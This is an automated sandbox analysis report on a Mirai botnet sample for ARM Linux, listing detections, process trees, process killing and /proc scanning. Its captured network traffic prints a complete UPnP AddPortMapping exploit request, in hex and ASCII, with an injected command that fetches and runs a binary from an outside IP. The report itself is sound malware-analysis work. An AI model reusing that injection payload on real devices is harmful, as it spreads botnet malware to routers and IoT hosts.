Create Interactive Tour

Linux Analysis Report
DOSkhmFb90

Overview

General Information

Sample Name:	DOSkhmFb90
Analysis ID:	596679
MD5:	d5a48fb2bc18218471d306987c729fdc
SHA1:	a728bc942287958b0e46e7ecff3c521afba2a120
SHA256:	06a11b18c070410d9b53933d08915ae1e371fef0e6fea0c173ab96914b8098ec
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sample is packed with UPX

Uses known network protocols on non-standard ports

Sample tries to kill multiple processes (SIGKILL)

Sample contains only a LOAD segment without any section mappings

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Deletes log files

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	596679
Start date and time:	2022-03-24 23:31:34 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DOSkhmFb90
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Detection:	MAL
Classification:	mal88.spre.troj.evad.lin@0/53@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: DOSkhmFb90

Runtime Messages

Command:	/tmp/DOSkhmFb90
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Infected
Standard Error:

Process Tree

system is lnxubuntu20

systemd New Fork (PID: 5192, Parent: 1)

logrotate (PID: 5192, Parent: 1, MD5: ff9f6831debb63e53a31ff8057143af6) Arguments: /usr/sbin/logrotate /etc/logrotate.conf

logrotate New Fork (PID: 5253, Parent: 5192)

gzip (PID: 5253, Parent: 5192, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 5254, Parent: 5192)

sh (PID: 5254, Parent: 5192, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "

sh New Fork (PID: 5256, Parent: 5254)

invoke-rc.d (PID: 5256, Parent: 5254, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: invoke-rc.d --quiet cups restart

invoke-rc.d New Fork (PID: 5257, Parent: 5256)

runlevel (PID: 5257, Parent: 5256, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: /sbin/runlevel

invoke-rc.d New Fork (PID: 5258, Parent: 5256)

systemctl (PID: 5258, Parent: 5256, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-enabled cups.service

invoke-rc.d New Fork (PID: 5261, Parent: 5256)

ls (PID: 5261, Parent: 5256, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /etc/rc[S2345].d/S[0-9][0-9]cups

invoke-rc.d New Fork (PID: 5263, Parent: 5256)

systemctl (PID: 5263, Parent: 5256, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl --quiet is-active cups.service

logrotate New Fork (PID: 5264, Parent: 5192)

gzip (PID: 5264, Parent: 5192, MD5: beef4e1f54ec90564d2acd57c0b0c897) Arguments: /bin/gzip

logrotate New Fork (PID: 5265, Parent: 5192)

sh (PID: 5265, Parent: 5192, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog

sh New Fork (PID: 5266, Parent: 5265)

rsyslog-rotate (PID: 5266, Parent: 5265, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /usr/lib/rsyslog/rsyslog-rotate

rsyslog-rotate New Fork (PID: 5267, Parent: 5266)

systemctl (PID: 5267, Parent: 5266, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl kill -s HUP rsyslog.service

systemd New Fork (PID: 5193, Parent: 1)

install (PID: 5193, Parent: 1, MD5: 55e2520049dc6a62e8c94732e36cdd54) Arguments: /usr/bin/install -d -o man -g man -m 0755 /var/cache/man

systemd New Fork (PID: 5221, Parent: 1)

find (PID: 5221, Parent: 1, MD5: b68ef002f84cc54dd472238ba7df80ab) Arguments: /usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete

systemd New Fork (PID: 5252, Parent: 1)

mandb (PID: 5252, Parent: 1, MD5: 1dda5ea0027ecf1c2db0f5a3de7e6941) Arguments: /usr/bin/mandb --quiet

DOSkhmFb90 (PID: 5283, Parent: 5116, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/DOSkhmFb90

DOSkhmFb90 New Fork (PID: 5285, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5286, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5288, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5289, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5290, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5295, Parent: 5283)

DOSkhmFb90 New Fork (PID: 5298, Parent: 5295)

DOSkhmFb90 New Fork (PID: 5300, Parent: 5295)

DOSkhmFb90 New Fork (PID: 5302, Parent: 5300)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
DOSkhmFb90	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth	0xa468:$s1: PROT_EXEC\|PROT_WRITE failed. 0xa4d7:$s2: $Id: UPX 0xa488:$s3: $Info: This file is packed with the UPX executable packer

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5283.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5289.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5288.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5302.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5295.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5285.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5286.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5300.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5290.1.0000000008487afb.00000000556328d3.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Click to see the 4 entries

HTTP traffic detected: POST /picsdesc.xml HTTP/1.1Content-Length: 630Accept-Encoding: gzip, deflateSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMappingAccept: /User-Agent: Hello-WorldConnection: keep-aliveData Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 63 64 20 2f 76 61 72 2f 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 2e 35 36 2e 35 37 2e 31 38 37 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 63 68 6d 6f 64 20 2b 78 20 6d 69 70 73 3b 20 2e 2f 6d 69 70 73 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://2.56.57.187/bins/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

System Summary

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1463, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1576, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 2062, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5037, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5185, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5285, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5288, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5289, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5302, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8000

Source: DOSkhmFb90, type: SAMPLE

Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth, description = Detects a suspicious ELF binary with UPX compression, reference = Internal Research, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4

Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 789, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 800, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1320, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1389, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1463, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1465, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1576, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1809, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1888, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1890, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 1983, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 2062, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5037, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5185, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5285, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5288, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5289, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	SIGKILL sent: pid: 5302, result: successful	Jump to behavior

Source: classification engine

Classification label: mal88.spre.troj.evad.lin@0/53@0/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $

Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5142/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1582/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2033/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2275/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/3088/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1612/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1579/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1699/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1335/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1698/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2028/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1334/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1576/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2302/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/3236/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2025/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2146/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/910/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/912/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/517/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/759/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2307/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/918/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5155/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5157/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5037/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1594/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2285/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2281/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5270/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1349/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1623/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/761/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1622/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1983/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2038/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1344/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1465/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1586/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1463/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2156/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5302/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/801/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1629/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1627/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1900/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5285/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5286/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5288/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5289/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/3021/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/491/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2294/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2050/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5161/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1877/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/772/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1633/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1599/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1632/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/774/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1477/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/654/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/896/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1476/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2048/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/655/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2289/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/777/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/4466/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/4467/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/4468/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/4469/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1639/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1638/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2208/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2180/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1809/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1494/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1890/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2063/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5290/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/2062/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1888/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1886/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/420/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1489/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/785/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1642/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/788/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/667/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/789/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/1648/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/4491/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5185/exe	Jump to behavior
Source: /tmp/DOSkhmFb90 (PID: 5298)	File opened: /proc/5186/exe	Jump to behavior

Source: /usr/sbin/invoke-rc.d (PID: 5258)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-enabled cups.service	Jump to behavior
Source: /usr/sbin/invoke-rc.d (PID: 5263)	Systemctl executable: /usr/bin/systemctl -> systemctl --quiet is-active cups.service	Jump to behavior
Source: /usr/lib/rsyslog/rsyslog-rotate (PID: 5267)	Systemctl executable: /usr/bin/systemctl -> systemctl kill -s HUP rsyslog.service	Jump to behavior

